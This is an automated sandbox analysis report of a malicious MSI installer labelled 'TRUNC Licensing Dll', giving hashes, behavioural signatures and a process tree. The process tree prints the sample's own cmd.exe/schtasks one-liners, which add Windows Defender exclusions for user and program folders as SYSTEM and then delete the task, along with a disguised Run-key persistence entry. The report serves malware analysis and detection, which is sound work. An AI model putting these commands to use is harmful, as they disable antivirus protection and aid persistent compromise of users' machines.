Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
02/08/2026, 07:40
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_s0up012.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_s0up012.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
30 signatures
150 seconds
General
- Target install_s0up012.msi
- Size 5.3MB
- Sample260802-jhl4gseq3x
- SHA256 a00776292d3c33102471bd3296f7b2d05ac9066a862f29b81b31e2da61cf80e3
- MD5 9e40f4439ae27c7395b1eb8452d0c2bc
- SHA1 7167774f3375ec59a1d83f616db3f5f832cf0a83
- SHA512 dd32de61dc3342b95a61d70f8299b4b820b5b0f0cb06a23e8b6a989b689e120efd18efb503e62e655a2e3974761260cbb3ce17eea4040f4300539b11ef2ccb0c
- SSDEEP 98304:aVK8PysWY6KKv51IQ/bw6+wov6LDo1gz+CPxi5MZ9x//5jLprpfP3uD:atP2Ao5159L8gvmy//lLnP3O
- TLSH T1A24633CA74C83738C08BC7B6454365AD762A3FC5BB768D0AB79D3A016D7272902F6385
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\LeHbT4 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation lHnbLt.exe - Executes dropped EXE 1 IoCs
pid Process 1496 lHnbLt.exe - Loads dropped DLL 2 IoCs
pid Process 4104 MsiExec.exe 1496 lHnbLt.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\LeHbT4\\lHnbLt.exe\"" lHnbLt.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 43 4104 MsiExec.exe 73 4104 MsiExec.exe 79 4104 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4508 cmd.exe 1316 cmd.exe 4312 cmd.exe 1956 cmd.exe 4304 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b lHnbLt.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI468A.tmp msiexec.exe File created C:\Windows\Installer\e584551.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI4708.tmp msiexec.exe File created C:\Windows\Installer\e584553.msi msiexec.exe File opened for modification C:\Windows\Installer\e584551.msi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2296 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4116 cmd.exe 4544 cmd.exe 2128 cmd.exe 2228 cmd.exe 1884 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee28096e8f31db0b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee28096e0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee28096e000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee28096e000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee28096e000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up012.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "4FA6CD1A8C453F943856E48AC6954F9A" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4104 schtasks.exe 2264 schtasks.exe 968 schtasks.exe 1740 schtasks.exe 216 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 452 msiexec.exe 452 msiexec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 4104 MsiExec.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe 1496 lHnbLt.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2296 msiexec.exe Token: SeIncreaseQuotaPrivilege 2296 msiexec.exe Token: SeSecurityPrivilege 452 msiexec.exe Token: SeCreateTokenPrivilege 2296 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2296 msiexec.exe Token: SeLockMemoryPrivilege 2296 msiexec.exe Token: SeIncreaseQuotaPrivilege 2296 msiexec.exe Token: SeMachineAccountPrivilege 2296 msiexec.exe Token: SeTcbPrivilege 2296 msiexec.exe Token: SeSecurityPrivilege 2296 msiexec.exe Token: SeTakeOwnershipPrivilege 2296 msiexec.exe Token: SeLoadDriverPrivilege 2296 msiexec.exe Token: SeSystemProfilePrivilege 2296 msiexec.exe Token: SeSystemtimePrivilege 2296 msiexec.exe Token: SeProfSingleProcessPrivilege 2296 msiexec.exe Token: SeIncBasePriorityPrivilege 2296 msiexec.exe Token: SeCreatePagefilePrivilege 2296 msiexec.exe Token: SeCreatePermanentPrivilege 2296 msiexec.exe Token: SeBackupPrivilege 2296 msiexec.exe Token: SeRestorePrivilege 2296 msiexec.exe Token: SeShutdownPrivilege 2296 msiexec.exe Token: SeDebugPrivilege 2296 msiexec.exe Token: SeAuditPrivilege 2296 msiexec.exe Token: SeSystemEnvironmentPrivilege 2296 msiexec.exe Token: SeChangeNotifyPrivilege 2296 msiexec.exe Token: SeRemoteShutdownPrivilege 2296 msiexec.exe Token: SeUndockPrivilege 2296 msiexec.exe Token: SeSyncAgentPrivilege 2296 msiexec.exe Token: SeEnableDelegationPrivilege 2296 msiexec.exe Token: SeManageVolumePrivilege 2296 msiexec.exe Token: SeImpersonatePrivilege 2296 msiexec.exe Token: SeCreateGlobalPrivilege 2296 msiexec.exe Token: SeBackupPrivilege 4820 vssvc.exe Token: SeRestorePrivilege 4820 vssvc.exe Token: SeAuditPrivilege 4820 vssvc.exe Token: SeBackupPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeBackupPrivilege 3884 srtasks.exe Token: SeRestorePrivilege 3884 srtasks.exe Token: SeSecurityPrivilege 3884 srtasks.exe Token: SeTakeOwnershipPrivilege 3884 srtasks.exe Token: SeBackupPrivilege 3884 srtasks.exe Token: SeRestorePrivilege 3884 srtasks.exe Token: SeSecurityPrivilege 3884 srtasks.exe Token: SeTakeOwnershipPrivilege 3884 srtasks.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe Token: SeTakeOwnershipPrivilege 452 msiexec.exe Token: SeRestorePrivilege 452 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2296 msiexec.exe 2296 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 452 wrote to memory of 3884 452 msiexec.exe 101 PID 452 wrote to memory of 4104 452 msiexec.exe 103 PID 1496 wrote to memory of 1956 1496 lHnbLt.exe 115 PID 1956 wrote to memory of 4104 1956 cmd.exe 117 PID 1956 wrote to memory of 3776 1956 cmd.exe 118 PID 1956 wrote to memory of 3880 1956 cmd.exe 122 PID 1884 wrote to memory of 3224 1884 cmd.exe 124 PID 1496 wrote to memory of 4304 1496 lHnbLt.exe 125 PID 4304 wrote to memory of 2264 4304 cmd.exe 128 PID 4304 wrote to memory of 3760 4304 cmd.exe 129 PID 4304 wrote to memory of 1832 4304 cmd.exe 132 PID 4116 wrote to memory of 3664 4116 cmd.exe 133 PID 1496 wrote to memory of 4508 1496 lHnbLt.exe 134 PID 4508 wrote to memory of 968 4508 cmd.exe 136 PID 4508 wrote to memory of 896 4508 cmd.exe 137 PID 4508 wrote to memory of 3600 4508 cmd.exe 140 PID 4544 wrote to memory of 1820 4544 cmd.exe 141 PID 1496 wrote to memory of 1316 1496 lHnbLt.exe 142 PID 1316 wrote to memory of 1740 1316 cmd.exe 144 PID 1316 wrote to memory of 176 1316 cmd.exe 145 PID 1316 wrote to memory of 2328 1316 cmd.exe 147 PID 2128 wrote to memory of 2760 2128 cmd.exe 149 PID 1496 wrote to memory of 4312 1496 lHnbLt.exe 150 PID 4312 wrote to memory of 216 4312 cmd.exe 152 PID 4312 wrote to memory of 2880 4312 cmd.exe 153 PID 4312 wrote to memory of 2752 4312 cmd.exe 155 PID 2228 wrote to memory of 4832 2228 cmd.exe 157 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up012.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2296
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:452 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3884
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 5A77BFBF87AB0FE7186F6E23167D03EB E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4104
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4820
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C:\Users\Public\LeHbT4\lHnbLt.exeC:\Users\Public\LeHbT4\lHnbLt.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LeHbT4\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LeHbT4\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4104
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3776
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2264
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3760
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:968
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:896
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1740
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:176
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:216
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2880
